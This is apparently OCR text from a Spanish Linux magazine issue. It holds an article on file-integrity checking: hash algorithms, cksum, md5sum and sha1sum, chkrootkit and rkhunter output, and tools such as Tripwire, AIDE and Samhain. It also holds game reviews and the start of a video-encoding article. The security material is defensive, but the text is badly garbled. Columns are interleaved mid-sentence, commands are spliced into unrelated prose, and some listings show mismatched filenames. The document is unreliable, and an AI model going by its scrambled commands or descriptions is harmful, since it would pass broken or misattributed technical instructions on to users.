MD5 MD5 (Message Digest Algorithm 5) fue ideado por el co-creador del algoritmo RSA, Ronald Rivest del MIT (Massachusetts Institute of Technology) como reemplazo del algoritmo MD4 después de que Hans Dobbertin lo encontrase vulnerable. El mismo produce resúmenes de 128 bits y se utiliza mundialmente.

59


software Integridad de datos SHA La familia SHA (Secure Hash Algorithm) es un sistema de funciones creado por la NSA (National Security Agency) de los Estados Unidos y publicadas por el NIST (National Institute of Standards and Technology). Existen diversas variantes con pequeñas diferencias de diseño y rangos de salida incrementados: SHA-0, SHA1 y SHA-2 (SHA-224, SHA-256, SHA-384, y SHA-512). SHA-1 es el más difundido, con un resumen de 160 bits, y basado en principios similares a los usados por MD5.

precalculadas, lo cual disminuye el tiempo de cálculo de la operación requerida, y soportan diversos algoritmos, incluyendo todos los mencionados. Entre los sitios que ofrecen este servicio de manera gratuita podemos nombrar http: //www.hashemall.com/ como ejemplo, aunque se pueden encontrar muchos otros. Para el caso específico del algoritmo CRC32, podemos utilizar un sencillo comando denominado: cksum

RIPEMD-160

utilizado por su sencillez, fortaleza y popularidad. Se lo aprovecha principalmente en la comprobación de integridad de los archivos descargados de Internet. Es habitual encontrar hashes MD5 en los paquetes de las distribuciones de Linux. En el Listado 2 podemos ver el uso del comando para comprobar la integridad de un archivo llamado paquete.tgz. La última de las utilidades básicas que veremos es el comando análogo a md5sum, pero para calcular un hash de SHA-1, el cual se denomina sha1sum. Un ejemplo de uso podría ser el del Listado 3. Entrando en el terreno de las verificaciones de la existencia de rootkits en un sistema, podemos mencionar chkrootkit y rkhunter. Como se mencionó anteriormente, son muy sencillos de utilizar. Veamos el ejemplos presentados en los Listados número 4 y 5.

que muestra por la salida estándar el CRC, el tamaño del archivo y el nombre. Si no tiene argumentos, lee de la entrada estándar y luego muestra el resultado. Si se introducen los datos por la terminal, el fin de archivo se determina con Ctr-D (Listado 1). Otra utilidad básica la encontramos tam- Software de verificación bién en la línea de comandos, por medio de Si bien los comandos mencionados pueden la orden: utilizarse sin problemas, imaginemos la situación de tener que verificar cientos de archivos a md5sum diario, con determinados parámetros, políticas, y demás. Este trabajo sería demasiado tedioso Whirlpool que lógicamente, como su nombre lo indica, como para no estar automatizado por las comWhirlpool, fue diseñado por Vincent Rijmen calcula el hash MD5 de un archivo. Es muy plejas herramientas que existen. y Paulo Barreto. Ha sido adoptado por la ISO Listado 1. Ejemplo del uso de chksum (Organización Internacional de Estandarización) y la IEC (Comisión Electrotécnica Inter[infierno]# ls -l archivo.txt imagen.jpg nacional) como parte del estándar internacional -rwxr--r-- 1 root toot 253 Jan 15 2007 archivo.txt ISO/IEC 10118-3. Fue desarrollado luego del -rw-r--r-- 1 quark quark 32116 Feb 3 2008 imagen.jpg algoritmo de cifrado por bloques Square, y está basado en una modificación del algoritmo si[infierno]# cksum archivo.txt imagen.jpg métrico AES (Advanced Encryption Standard). 3764388547 253 archivo.txt No está patentado y puede ser usado libremen927129673 32116 imagen.jpg te, además de que las implementaciones de referencia son de dominio público. RIPEMD-160 (RACE Integrity Primitives Evaluation Message Digest) es un algoritmo de hash de 160 bits, desarrollado por Hans Dobbertin, Antoon Bosselaers y Bart Preneel, y publicado primeramente en 1996. Es una versión mejorada del original RIPEMD, que estaba basado sobre los principios de MD4, y es similar en seguridad y funcionamiento a SHA1. También existen versiones de 128, 256 y 320 bits y no tiene ninguna patente asociada.

HAVAL HAVAL es un algoritmo que puede producir hashes de 128, 160, 192, 224 y 256 bits. También permite especificar el número de vueltas que utiliza internamente para generar el hash. Fue inventado en 1992 por Yuliang Zheng, Josef Pieprzyk, y Jennifer Seberry y es ampliamente soportado.

Tiger El último que mencionaremos es Tiger, diseñado por Ross Anderson y Eli Biham en 1996, en previsión de eficiencia para plataformas de 64 bits. El tamaño del resumen es de 192 bits, aunque hay versiones de 128 y 160.

Utilidades básicas

Ante todo, podríamos resaltar primero la existencia de utilidades online, dado que las consultas se realizan contra bases de datos

60

[infierno]# cksum Ingreso de caracteres por terminal ^D 62804783 34

Listado 2. Ejemplo de comando md5sum [infierno]# md5sum paquete.tgz 1f772cb7df86e9481668b644d47baf70 paquetes.tgz [infierno]# cat paquete.tgz.md5 1f772cb7df86e9481668b644d47baf70 paquete.tgz

Listado 3. Ejemplo de comando sha1sum [infierno]# sha1sum paquete.tgz 1395702345678ae15f6179aae6098690afd20304 paquetes.tgz [infierno]# sha1sum -c paquete.sha1 fichero: OK

Linux+ 9/2008


software Integridad de datos Otro uso típico para los programas de verificación automatizada, está dado por el control de versiones de archivos ejecutables y librerías, si es que no se utiliza un sistema de gestión de paquetes como ser RPM de Red Hat, DEB de Debian, o emerge de Gentoo. Además, si hablamos de otros sistemas operativos, está comprobado que muchas veces se actualizan componentes sin avisar al usuario. Para el caso solamente nombraremos software que puede obtenerse libremente por Internet, a pesar de que puedan existir versiones comerciales de los mismos. Los que analizaremos serán: Tripwire, AIDE, AFICK, FCheck, Integrit, Samhain y Osiris. Vale destacar que algunos de estos sistemas también pueden tener diversas funciones para detección de intrusiones. El manejo conceptual de estos programas es muy similar, por lo tanto se omiten las explicaciones referentes a los aspectos básicos de utilización individuales.

que se emplea para encriptar los archivos de configuración y de las políticas, y la local key que se usa para encriptar la información referida al estado de los archivos del sistema que se monitorea. Es decir que para administrar el programa necesitamos de estas dos claves que debemos crear cuando lo instalamos:

Tripwire

Luego pasaremos a configurar el archivo de políticas (policy file) donde encontraremos la información sobre qué archivos serán monitoreados. Dada su extensión se hace complicado su armado manual, por lo tanto el programa incorpora un archivo que sirve de planilla para ser modificada. Este archivo es:

Comenzaremos por Tripwire, un clásico del mundo Linux, creado por el Dr. Eugene Spafford y Gene Kim, en 1992. Como podemos imaginarnos, corre en línea de comandos tradicional, sin front end. Esto es debido a que realmente no se necesita cuando lo que en el fondo ocurre son solamente operaciones matemáticas. De tal forma, no se descarta la posibilidad de que existan herramientas visuales o GUIs que puedan acompañar a la configuración y uso del programa, pero hacemos hincapié en que son absolutamente prescindibles. Lo primero que pide Tripwire es una definición de claves. Utiliza dos claves para almacenar su información. La site key

procesarlo para utilizarlo. En realidad Tripwire utiliza una versión compilada y encriptada de este archivo, que se almacena en: /etc/tripwire/tw.pol

Esto es para preservar la confidencialidad de lo que está escrito y que nadie pueda ver, más # /etc/tripwire/twinstall.sh que el administrador, el contenido de lo que se desea monitorear. Si alguien pudiera acceder a Es importante recordar bien las claves, ya que dicho archivo, podría modificarlo para evitar si se pierden no se podrá acceder al archivo de Listado 4. Fragmento de salida de chkrootkit políticas ni configuración, y mucho menos a la información referida al estado de los archivos monitoreados. Las claves serán almacenadas [infierno]:~# chkrootkit por defecto en el directorio /etc/tripwire. También es posible hacerlo manualmente. En ROOTDIR is `/' el caso de la clave local sería: Checking `amd'... not found Checking `basename'... not infected # twadmin -m G -L local.key

Checking `biff'... not found Checking `chfn'... not infected Checking `chsh'... not infected Checking `cron'... not infected Checking `crontab'... not infected Checking `date'... not infected Checking `du'... not infected Checking `dirname'... not infected Checking `echo'... not infected Checking `egrep'... not infected

/etc/tripwire/twpol.txt

Checking `env'... not infected

Una buena práctica del administrador es la de familiarizarse con los archivos de configuración y políticas, ya que una vez conocido el formato es muy fácil reutilizarlo en otros entornos. Ya creado el archivo de políticas, conteniendo todo lo que deseamos monitorear procedemos a

Listado 5. Fragmento de salida de rkhunter infierno:~# rkhunter -c Rootkit Hunter 1.2.9 is running Determining OS... Unknown

Warning: This operating system is not fully supported!

All MD5 checks will be skipped! Checking binaries * Selftests Strings (command) [ OK ] * System tools Skipped! Check rootkits

* Default files and directories Rootkit '55808 Trojan - Variant A'... [ OK ] ADM Worm... [ OK ] Rootkit 'AjaKit'... [ OK ] Rootkit 'aPa Kit'... [ OK ] Rootkit 'Apache Worm'... [ OK ] Rootkit 'Ambient (ark) Rootkit'... [ OK ]

Figura 2. Beltane - Mozilla

www.lpmagazine.org

61


software Integridad de datos realizar las comprobaciones de los archivos que le interese modificar sin autorización. Para generarlo y regenerarlo las veces que se necesite, y contando con la clave que le suministramos anteriormente, haremos:

figurado e instalado el archivo de políticas, necesitamos recolectar la información actual de los archivos que se deberán monitorear. Dicha información se almacena en una base de datos especial generada mediante el comando:

# twadmin -m P /etc/tripwire/twpol.txt

# tripwire -m i

Finalmente también personalizaremos el archi- Esto genera una base que tiene una extensión vo de configuración, que encontramos en: .twd. En el caso de haber errores, deberán corregirse en twpol.txt, el cual se deberá /etc/tripwire/twcfg.txt reinstalar, para proceder a reconstruir la base de datos. No es estrictamente necesaria la modificación Este procedimiento lo repetiremos hasta de este archivo, pero puede ser de gran utilidad que desaparezcan todos los errores en el arpara alterar la localización de los archivos por chivo de políticas. Por supuesto que podemos defecto, el nivel de detalle del informe y otros ver muchas más opciones en las páginas del parámetros. Para regenerarlo, en este caso acla- manual. Luego de configurar el programa y rándole explícitamente el archivo que contiene generar la base de datos, es el momento de verila llave del sitio, introducimos el comando: ficar la integridad en sistema de archivos. Esto lo hacemos con el comando:

torizados (por ejemplo, unas actualizaciones de software) entonces debemos reconstruir la base de datos, a fin de que no aparezcan discrepancias en próximas verificaciones. Las violaciones se imprimen a una salida estándar y se guardan en un archivo de informe en: /var/lib/tripwire/report

Como ayuda adicional, podemos ver los contenidos de un informe en texto plano, con el comando: # twprint -m r

Una vez probada la correcta ejecución podemos programar su ejecución automática. La frecuencia ideal dependerá del uso del servidor. Para esto sencillamente podríamos utilizar el comando cron. Su configuración la haremos en # twadmin -c -S site.key /etc/ el directorio /etc/cron/ y deberemos agregartripwire/twcfg.txt # tripwire -m c le el contenido de lo que queremos automatizar. También podemos configurarlo para que envíe Es necesario aclarar que existen variables Si por algún motivo algunos de los archivos un email si un tipo específico de políticas es requeridas y otras opcionales. Una vez con- monitoreados son modificados por medios au- violado.

AIDE

Listado 6. Ejemplo de resultado de AIDE AIDE found differences between database and filesystem!! Start timestamp: 2008-01-02 11:45:57 Summary: Total number of files=4115, added files=0, removed files=0, changed files=1 Changed files: changed:/etc/hosts Detailed information about changes:

AIDE (Advanced Intrusion Detection Environment) es un sistema de detección de intrusiones a nivel de host (HIDS) que actúa sobre los archivos de la misma forma que Tripwire, por lo cual omitiremos los conceptos fundamentales, ya descriptos. Fue creado en 1999 por Rami Lehti, Pablo Virolainen y Richard van den Berg.

File: /etc/hosts Permissions: -rw-r--r-- , -rwxr-xr-x

En la red

Listado 7. Salida de la ayuda de FCheck

[infierno]:~# fcheck Usage: fcheck [-acdfhilrsvx] [config filename] [directory] Used to validate creation dates of critical system files. Version: 1.1 2001/03/23 11

• •

Options: -a Automatic mode, do all directories in configuration file.

-c Create base-line database.

-d Directory names are to be monitored for changes also. -f Use alternate 'config filename' to initiate from.

-h Append the $HOSTNAME to the configuration filename. -i Ignore create dates, check permissions, additions, deletions. -l Log information to logger rather than stdout messages. -r Reporter mode that lists individual files too.

• • •

-s Sign each file with a CRC/hash signature. -v Verbose mode. -x eXtended Unix checks - Nlinks, UID, GID, Major/Minor numbers.

62

Linux+ 9/2008

Tripwire: http://www.tripwire.org/ AFICK: http://afick.sourceforge.net/ AIDE: http://www.cs.tut.fi/~rammer/aide.html FCHECK: http://www.geocities.com/fcheck2000/ fcheck.html INTRGRIT: http://integrit.sourceforge.net/ OSIRIS: http://osiris.shmoo.com/index.html SAMHAIN: http://www.la-samhna.de/library/scan ners.html Hashemall: http://www.hashemall.com/


software Integridad de datos El archivo de configuración está basado en expresiones regulares, macros y reglas para archivos y directorios. Las macros se convierten en algo muy práctico si se tiene más de un sistema para administrar la integridad. AIDE trabaja con un conjunto de marcas (flags) para comprobar en archivos y directorios, que son combinación de permisos, propiedades de archivos y hashes. Si se quiere crear un archivo propio de configuración, se debe añadir una regla. Para esto se debe combinar el nombre de archivo y la regla. AIDE añadirá todos los archivos recursivamente a no ser que se especifique una regla alternativa. AIDE mira el archivo: /etc/aide/aide.db

Webmin y una interfaz gráfica escrita en perlTk (Figura 1). Muy interesante. Al igual que en los anteriores, necesitamos crear una base de datos inicial, controlada por un archivo de configuración. Afick proporciona un archivo de configuración por defecto que tiene una sintaxis muy similar a la de AIDE. Para inicializar una base utilizamos el comando:

dispositivo en el que residen, y los permisos, y a continuación, aplicar esta norma al directorio / var/log, donde se deberá añadir la regla a la sección correspondiente. Finalmente debemos asegurarnos que AFICK no puede modificarse a sí mismo. La forma más segura es colocar la base (por defecto en /var/lib/afick/afick.pag) en alguna ubicación de sólo lectura. Para cambiar la base de datos de ubicación, lo hacemos en # afick.pl -c linux.conf -i la primera sección del archivo de configuración (database=/path_afick). Una vez terminado podemos comparar las baAfick reconoce los comodines estándar de ses de datos con el comando: Unix y las expresiones regulares, y a pesar de estar creada en Perl, su performance es buena # afick.pl -c linux.conf –k respecto a otros. Como último detalle, utiliza bases de datos DBM. O bien actualizar las bases con:

cuando comprueba integridad, pero cuando actualiza o crea un nuevo archivo almacena la # afick.pl -c linux.conf –u información en: En el archivo linux.conf se encuentra la /etc/aide/aide.db.new configuración por defecto, y contiene una descripción de todos los atributos que se pueden Esto se hace porque no se puede sobrescribir controlar, incluyendo detección de dispositivos, automáticamente el antiguo archivo de base de i-nodos, permisos, propietario, modificación, datos. Para ver todas las opciones disponibles, etc. Es posible crear por ejemplo, un conjunto puede ejecutarse: de reglas que verifiquen el usuario y grupo, el # aide --help

Listado 8. Salida de la ayuda de Integrit

Para empezar sólo se necesita ejecutar:

[infierno]:~# integrit –h

FCheck

FCheck es otra herramienta de verificación open source escrita en Perl, lo cual aumenta su portabilidad, pero la hace potencialmente consumidora de mayor cantidad de recursos. Además, al utilizar comandos externos para realizar las verificaciones, los tiempos de ejecución se extienden. Tal como los anteriores, puede detectar modificaciones en cualquier archivo del sis-

Usage: # aide –i

Es recomendable revisar bien el archivo:

integrit -C conffile [options] integrit -V integrit -h Options:

/etc/aide/aide.conf

y asegurarse que la configuración recoge todo lo necesario y suficiente. La base de datos se comprueba haciendo:

-C specify configuration file -x use XML output instead of abbreviated output -u do update: create current state database

-c do check: verify current state against known db -q lower verbosity

# aide –check

Para actualizar la base después de cambiar un parámetro en aide.conf, hacemos: # aide –update

-v raise verbosity -N specify the current (New) database, overriding conf file -O specify the known (Old) database, overriding conf file -V show integrit version info and exit -h show this help

Listado 9. Salida de la ayuda de Osiris

En el Listado 6 veremos el resultado de AIDE.

AFICK AFICK (Another File Integrity Checker) fue creado por Eric Gerbier en el año 2002. Aparece como una excelente alternativa dado que está escrito en Perl, lo que lo hace liviano y portable. Aunque está diseñado para la línea de comandos, también tiene un módulo para

infierno:~# osiris -h Osiris Shell Interface - version 4.2.0-release usage: osiris [options] <management-host> -f <file> specify a root cert file to authenticate management host. -p <port> specify remote port for management host. -h print this usage statement. -v print version.

www.lpmagazine.org

63


software Integridad de datos tema (no olvidemos que en Linux todo se ve como un archivo, incluyendo el mouse, la impresora, y todo dispositivo) y excluir los que no deseamos que sean chequeados. El código de FCheck fue escrito desde cero por Michael A. Gumienny en 1996. Dada su simplicidad, posee algunas limitaciones como ser que no es posible definir políticas (por ejemplo, ignorar cambio de tamaño en logs) o que los archivos duplicados se verifican dos veces. También puede tener inconvenientes con nombres de archivos con caracteres no imprimibles y no realiza chequeos de sintaxis en el archivo de configuración. Estos detalles no afectan a un uso simple del programa, por lo cual se recomienda para entornos no muy complejos (Listado 7).

Integrit Integrit, creado por Ed L. Cashin en el año 2000, se proclama como una alternativa más simple a Tripwire y AIDE. Cabe destacar que al día de la fecha, su última versión fue lanzada en junio de 2007. Como características destacadas, podemos mencionar que utiliza muy poca memoria mientras se ejecuta, su diseño e implementación son simples y modulares. Utiliza los algoritmos de GnuPG, está diseñado para uso desatendido y posee reglas muy intuitivas en el archivo de configuración. Incluye la opción de resetear los tiempos de acceso luego de las verificaciones, y su salida puede ser en XML o solo texto. Puede crear una nueva base mientras corre un chequeo contra una vieja base. El paquete contiene otros programas standalone que pueden utilizarse o no, sin necesitarlo. La curva de aprendizaje es pequeña y corta respecto a otros. Como limitación por su simplicidad, podemos encontrar que solamente puede tener un directorio raíz en el archivo de configuración, por lo que se deberá lanzar una instancia del programa por cada raíz diferente con diferentes archivos de configuración. Es

Sobre el autor Federico Pacheco (federicop@elitech.com .ar) es especialista en seguridad informática y se desempeña como consultor en la empresa Elitech en Buenos Aires, Argentina. Es profesor de la misma especialidad, así como también de temas relacionados con los sistemas operativos GNU/Linux y colabora en diversos proyectos de investigación y difusión de tecnologías abiertas y el software libre.

64

necesario recordar que la extrema simplicidad software. Como característica destacada, puede fue una condición de diseño (Listado 8). monitorear los módulos del kernel además de realizar todas las tareas básicas de verificación Samhain de datos, al igual que los anteriormente mencioSamhain es un completo sistema de detección nados programas. de intrusos basado en host (HIDS) que funEs muy importante recordar que al manejar ciona bajo el estándar POSIX. Lo incluimos bases de datos con formato binario (Berkeley en el análisis por su alta capacidad de proveer DB) la misma puede ser volcada y leída, esto chequeos de integridad, detección de rootkits, ocurre por no manejar bases encriptadas. monitorización de puertos, procesos y mucho Una diferencia con las anteriores utilidades más. Su diseño le permite tanto el monitoreo in- es que a diferencia de éstas, que poseen licendividual, como el de múltiples equipos, incluso cias GPL, Osiris es distribuido bajo licencia con diferentes sistemas operativos, desde una BSD, lo cual introduce algunas variantes que consola de administración centralizada llamada podrían alejar a los más puristas (Listado 9). Beltane, basada en web (Figura 2). Su capacidad de auditoría es excelente, Otras herramientas pudiendo soportar diferentes sistemas indivi- Existen también aplicaciones que nos permiten duales, desde el syslog estándar hasta bases específicamente gestionar diversos servidores de datos como MySQL, PostgreSQL, y Ora- que corren software de chequeo de integridad, cle. Puede manejar archivos y bases de datos y administrarlos de manera centralizada, con firmadas con OpenPGP, para ofrecer mayor muchas ventajas por sobre la administración confidencialidad y compatibilidad. Soporta individual, pero dejaremos para otra ocasión el automatización por medio de cron o bien me- análisis de dichas herramientas. diante su propio demonio. Dos ejemplos muy conocidos son: radmind También puede chequear algunos aspectos y rfc. De todas maneras, no debemos pasar por menos comunes, como ser los atributos de alto que algunos de los programas mencionaSELinux, POSIX ACLs, o flags específicos de dos, también poseen características para admide ciertos filesystems. Puede manejar distintos nistración centralizada. niveles de recursividad en diferentes directorios y realizar chequeos de kernel en los sistemas Conclusiones donde /dev/kmem puede ser leído por root. Ya sea por cuestiones de detección de intrusos, Una característica interesante, tal vez más o de prevención contra daños accidentales o bien como HIDS, es el chequeo de montaje de deliberados en los datos, es fundamental contar unidades y sus opciones, y la monitorización con un sistema que realice comprobaciones de inicio y cerrado de sesiones. Como cereza de integridad de nuestros servidores. En este de este postre, puede integrarse con otros sis- aspecto, la tecnología y la criptografía ponen temas de monitoreo como Prelude y Nagios, a disposición sus avances, ofreciendo distintas y comunicarse con aplicaciones externas para opciones en cuanto a algoritmos y métodos ofrecer respuesta activa a eventos. Queda claro de cifrado. El mercado de los productos que que dada su mayor complejidad, la curva de pueden realizar estas tareas no es demasiado aprendizaje es más larga que otras aplicaciones amplio, dado que las funciones básicas que más sencillas. se necesitan son mínimas y no tendría sentido contar con gran cantidad de aplicaciones que Osiris realicen las mismas funciones, y comercialOsiris fue creado por Brian Wotring en 1999 mente se debe agregar otro valor, como ser las y se encuentra entre los proyectos de la gente funciones de detección de intrusos, adminisde Shmoo, los mismos de AirSnort y otros tración centralizada, características avanzadas, conocidos proyectos. La última versión al día buena documentación, y demás componentes de la fecha fue lanzada a principios de 2007. de distinción en un mercado tan competitivo Es portable a varias plataformas del universo como el informático. Linux y otras. Las opciones con licencias libres nos brinOsiris también utiliza la arquitectura cliente dan la posibilidad de aprender a utilizar los pro/ servidor para monitorear cambios en un equi- ductos, así como también de ofrecer servicios po. Al igual que Samhain, las comunicaciones utilizando una solución especializada (una de entre la consola y los equipos monitoreados se las bases del modelo de negocios del software realizan por un canal seguro cifrado. Tal vez es- libre). En pocas palabras, ya nadie puede decir ta característica de administración centralizada que no conoce de la existencia de este tipo de y funciones para el manejo de gran cantidad software, solo falta probarlos y elegir el más de servidores, sea la más destacable de este adecuado para nuestras necesidades.

Linux+ 9/2008


software Juegos sección llevada por Francisco J. Carazo Gil

BZFlag

Net Hack – Falcon's Eye

H

E

Figura 1. BZFlag

Figura 2. Net Hack - Falcon’s Eye

ellos, los jugadores de un equipo deberán capturar una bandera y traerla a su base. En el segundo, el objetivo es que los tanques cazadores destruyan al tanque conejo, un tanque especial que aparece de color blanco. Existe en el juego una gran cantidad de banderas distintas, que suman muchas posibilidades al juego, además de poder dotar a nuestro tanque de más habilidades. Los gráficos son tridimensionales, y aunque sus texturas no están muy trabajadas, ésta es una de las premisas del juego, la simplicidad para facilitar la jugabilidad. Existen versiones del juego para Windows, Irix y Mac OS X, además de para GNU/Linux. Dentro Sourceforge podéis encontrar paquetes precompilados en formato RPM para facilitar la instalación, además del código fuente. El juego está orientado a partidas en red. Básicamente cualquier conexión, incluso de módem, puede soportar hasta tres jugadores en una misma partida. En caso de no poder encontrar a compañeros para jugar, existen servidores donde podemos encontrar partidas activas en todo momento. El juego está implementado con SDL y OpenGL en C++. http://bzflag.org/

como por ejemplo turista, arqueólogo y hombre de las cavernas. El objetivo básico del juego es encontrar el Amuleto de Yendor del nivel más profundo de las mazmorras y sacrificarlo a su deidad. Sin embargo, este es sólo el objetivo básico del juego y junto a él existen muchos otros que también podremos elegir. El juego destaca por la gran cantidad de posibilidades que nos ofrece, además de por la grandísima cantidad de objetos, herramientas y personajes que nos podemos encontrar. Sin lugar a dudas, Net Hack – Falcon's Eye es un clásico a tener en cuenta, porque a pesar de su estética, que puede parecer a muchos anticuada, es a día de hoy uno de los juegos que han demostrado que se pueden pasar muchos años en lo más alto, con una buena idea y un poco de actualización conforme la tecnología nos permite más posibilidades.

ace exactamente un año y medio cuando me hice cargo de esta sección. Ha pasado ya bastante tiempo y aunque cada mes hemos comentado cuatro juegos y anteriormente seis, parece que nunca se acaban los juegos para GNU/Linux. Cierto es que con licencias libres es difícil sacar grandes juegos en los que se invierten millones de euros, pero también es cierto, que siempre con una buena idea se puede conseguir un gran juego, antes que con mucho presupuesto y artistas gráficos, sonores y guionistas de pago. Este factor, el de los juegos libres adictivos y de calidad junto con el de los juegos comerciales disponibles en GNU/Linux, hacen que cada día demostremos que sí se puede jugar en GNU/Linux y no sólo con juegos con gráficos en modo texto, sino con juegos con entornos tridimensionales y muchos detalles. Pasada esta introducción, hablemos de los juegos de este mes. Comenzaremos con BZFlag, un juego libre que forma parte de ese grupo de juegos libres cada vez más en aumento, con gráficos tridimensionales de calidad y muchas horas por delante que darnos de diversión. En realidad el título es la abreviatura de: Battle Zone capture the Flag. BZFlag es un juego en el que el jugador controlará un tanque, desde una perspectiva en primera persona, a través de un mapa donde nos encontraremos con una serie de barreras. El objetivo básico es destruir los tanques rivales, que son identificados por su color. Existen otros dos objetivos, capturar la bandera y cazar el conejo. En el primero de

NOTA

jugabilidad gráficos sonido

66

l juego es código libre y es desarrollado por un equipo de desarrolladores llamado DevTeam. Como nota curiosa deciros que lanzan nuevas versiones del juego sin anunciarlo, un rasgo un poco extraño sobre todo en la comunidad de software libre. Net Hack – Falcon's Eye, es un fork del proyecto Net Hack, que como acabamos de señalar sigue en activo, en el que a diferencia del primero, incluye interfaz con ratón, un detalle que hace mucho más fácil el juego. Este fork data del año 2000 y sin lugar a dudas ha conseguido hacer resurgir la idea del proyecto original, dotándole de muchos más usuarios. Los gráficos del juego son isométricos, aunque los del juego original no lo son. También existe otro fork del juego original llamado Vulture’s Eye que también dispone de unos gráficos y una interfaz similar a Falcon's Eye. Aunque el estilo de los mismos parezca un poco antiguo, os aseguro que concuerdan perfectamente con el juego. Dejándonos de detalles técnicos hablemos sobre el juego en sí. Nada más comenzar, como en todo RPG, creamos nuestro personaje. Elegimos raza, rol, género y carácter. Los rols que podemos elegir contemplan los más típicos en este tipo de juegos, caballero, mago, pícaro, valkyrie y samurái, además de otros menos típicos

Juego original: http://www.nethack.org/ Falcon's Eye: http://users.tkk.fi/~jtpelto2/nethack.html

NOTA

jugabilidad gráficos sonido

««« ««« ««

Linux+ 9/2008

««« «««« ««


software Juegos

sección llevada por Francisco J. Carazo Gil

Ultrastar Deluxe

Wine

H

L

Figura 3. Ultrastar Deluxe

Figura 4. Wine

de tres jugadores. El nivel de efectos gráficos, es ajustable, de modo que los equipos menos potentes también podrán servir de auténticas máquinas para pasar una noche de fiesta con los amigos. Existe, además del modo de juego estándar, otro llamado Party en el que las reglas se modifican ligeramente. Además, el juego tiene alguna que otra característica que no tiene ni siquiera el comercial, como por ejemplo un metrónomo que nos ayuda a mantener el ritmo. Recién instalado el juego contiene una sóla canción, aunque encontraréis un convertidor de canciones para poder usar las canciones SingStar, además de muchas otras canciones con licencia Creative Commons, a las que podéis acceder directamente desde el sitio web. Los usuarios de Windows también podrán usar el juego y los de Mac OS X en breve. Para GNU/Linux existe un paquete .deb, además del código fuente, disponible. Otro ejemplo más de juego libre, actual, estético y con el que podéis montar una verdadera fiesta.

a la perfección, con todas las dificultades que tiene el proyecto. Ya que permite ejecutar programas de Windows, también hace lo mismo con juegos, aunque ahora veréis que existe un fork, Cedega, libre pero de pago, desarrollado por TransGamming Technologies, que está orientado a este propósito. De este tema hablaremos más profundamente en otro artículo. Aunque Cedega se encuentre más centrado en los juegos que el proyecto raíz, Wine consigue muy buenos resultados, aunque depende mucho de las DLL que emplee el juego en cuestión. Además, los juegos que utilizan Direct X (sobre todos las versiones más nuevas) dan un paso más allá en esta complejidad. Parece que también se está avanzando en esta dirección pero hay que reconocer el mérito de todos estos desarrolladores y el resultado tan increíble que han conseguido. La versión 1.0 estable, aparecerá en un futuro, aunque no sabemos como de lejano, pero la versión actual RC1 os proporcionará una cantidad de funciones suficiente para muchas de las posibilidades que necesitéis.

http://ultrastardx.sourceforge.net/

http://www.winehq.org/

ace ya unos cuantos números, concretamente en el número 33, comentamos el juego: Ultrastar-NG un juego libre, clon de la famosa saga Singstar de carácter comercial. En dicho número comentábamos una serie de defectos que tenía el juego respecto a la versión comercial, que lo dejaban un poco por debajo de la misma. Sin embargo, en este número os presento un fork de dicho. De hecho, la única crítica que podemos hacerle, es que no reproduce directamente la canción del cantante lo que provoca que no podamos, al menos de manera directa, guardar la actuación. He recalcado de manera directa, porque a pesar de que no sea de manera totalmente directa sí que se puede hacer conforme las instrucciones que hay en el sitio web de Ultrastar Deluxe. También os quiero decir que este pequeño problema será resuelto en una versión futura, por lo que posiblemente en poco tiempo no tengamos que recurrir a métodos para poder hacerlo, sino que sea totalmente directo. Lo primero que llama la atención del juego, es la estética tan bien detallada que tiene y tan actual. De hecho, hasta el sitio web sigue esta estética y resultará muy agradable y directo para todos. Para empezar a jugar sólo necesitamos un micrófono (incluyendo también los que trae SingStar). Podemos llegar a juntar hasta un total de seis micrófonos en una sóla máquina, aunque necesitaremos dos monitores para más

NOTA

jugabilidad gráficos sonido

««« ««« N/A

legamos al último punto de esta sección. La tradición de incluir un emulador en este punto sigue en marcha y esta vez le ha tocado al que es, al menos para mí, uno de los mejores trabajos jamás desarrollados por toda la comunidad libre, Wine. En realidad no deberíamos hablar de un emulador sino de una implementación de las API de Windows (16 bits y 32 bits) en sistemas tipo Unix como GNU/Linux, distintos BSD o Solaris. Hasta este número, Wine no ha tenido un hueco en esta sección porque su principal uso no es el lúdico, aunque como muchos sabréis este es otro uso más a tener en cuenta y es un buen momento éste para incluirlo. Antes de seguir adelantando, expliquemos por qué Wine no es un emulador: Wine no duplica el entorno completo, que es lo que hacen los emuladores, sino que simplemente actúa como una capa de compatibilidad que permite ejecutar programas que emplean la API de Win16 o Win32. La dificultad del proyecto es realmente grande. Las especificaciones de muchas de las funciones de la API de Win 16/32 están mal documentadas y existen muchas áreas como formatos de archivos y protocolos para los cuales no existen especificaciones de Microsoft.Para poder seguir desarrollando con estas dificultades, hay que apoyarse en la llamada ingeniería inversa, por lo que el coste en tiempo del proyecto crece enormemente. Hay que tener en cuenta también el gran tamaño de las API de Microsoft y todo lo relacionado con ella. Resulta sorprendente que muchas aplicaciones ejecuten

NOTA

jugabilidad gráficos sonido

www.lpmagazine.org

N/A N/A N/A

67


multimedia Codificación de vídeos en Linux

Codificación de vídeos en Linux Franco Catrin Leiva

linux@software.com.pl

Dicen que una imagen vale más que mil palabras, de la misma forma se podría decir que un vídeo vale más que mil imágenes, ambas aseveraciones son realmente evidentes cuando se trata de imágenes y vídeo digital. Gracias a métodos matemáticos y algo de psicología es posible disminuir la cantidad de información necesaria para almacenar o transmitir un vídeo digital, en donde los límites están dados sólo por el nivel mínimo de calidad aceptable que necesitemos. Este artículo entrega los conceptos básicos para comprender la codificación de vídeo y cómo se pueden usar para mejorar los resultados utilizando el codificador mencoder en Linux.

C

apturar un vídeo desde una fuente análoga como un reproductor VHS o la televisión por cable puede ser algo tan sencillo como ejecutar un comando o un script que tome la entrada análoga y la codifique en un archivo AVI o MPG. Pero se puede mejorar muchísimo la calidad del resultado si se entiende cómo funcionan los sistemas de vídeo y cómo funciona su codificación. Además, al entender la codificación de vídeo se pueden tomar fuentes digitales como un vídeo de YouTube o un vídeo de un DVD para convertirlo en otros formatos, reduciendo el tamaño de los archivos o cambiando su resolución para adaptarlo a otros dispositivos como un iPod nano o un teléfono móvil.

Estándares de Televisión

No existe un estándar único para la transmisión y recepción de televisión análoga. Cada estándar define aspectos como la representación de colores, la cantidad de líneas por cuadro, la cantidad de cuadros por segundo, etc. Los estándares más conocidos son PAL y NTSC, el sistema PAL se utiliza en países como España, Brasil y Argentina, mientras que NTSC es usado en países como Estados Unidos, México y Chile.

68

Linux+ 9/2008

